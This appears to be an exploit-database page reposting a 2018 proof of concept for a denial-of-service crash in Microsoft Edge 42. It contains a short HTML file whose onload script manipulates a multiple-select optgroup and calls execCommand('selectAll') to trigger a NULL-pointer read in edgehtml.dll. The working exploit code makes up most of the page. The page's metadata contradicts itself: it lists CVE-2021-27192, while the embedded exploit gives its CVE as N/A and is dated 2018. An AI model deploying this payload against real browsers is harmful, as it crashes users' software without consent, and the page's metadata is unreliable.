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Microsoft Edge 42.17134.1.0 Tree::ANode::DocumentLayout Denial of Service

CVE Category Price Severity
CVE-2021-27192 CWE-770 Not disclosed High
Author Risk Exploitation Type Date
Not specified High Remote 2018-12-24
CVSS EPSS EPSSP
CVSS:4.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H 0.02192 0.50148

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2018120216

Below is a copy:

Microsoft Edge 42.17134.1.0 Tree::ANode::DocumentLayout Denial of Service
# Exploit Title: Microsoft Edge edgehtml.dll!Tree::ANode::DocumentLayout. Denial of Service (PoC)
# Google Dork: N/A
# Date: 2018-11-11
# Exploit Author: Bogdan Kurinnoy ([email protected])
# Vendor Homepage: https://www.microsoft.com/
# Version: Microsoft Edge 42.17134.1.0 (Microsoft EdgeHTML 17.17134)
# Tested on: Windows 10 x64
# CVE : N/A

# Description:
# Access violation while reading memory at 0x5C using a NULL pointer (microsoftedgecp.exe!edgehtml.dll!Tree::ANode::DocumentLayout)
# https://developer.microsoft.com/en-us/microsoft-edge/platform/issues/19594021/

PoC.html

<html>

<head>

<script>

function ff() {
var v4= document.elementFromPoint(0,0);
v2.label = "C"; 
var v3= document.execCommand("selectAll", true);
}

</script>

</head>

<body onload=ff()>

<select id="1" multiple="multiple">

<optgroup id="v2" label="A">

<option id="v1">

</body>

</html>

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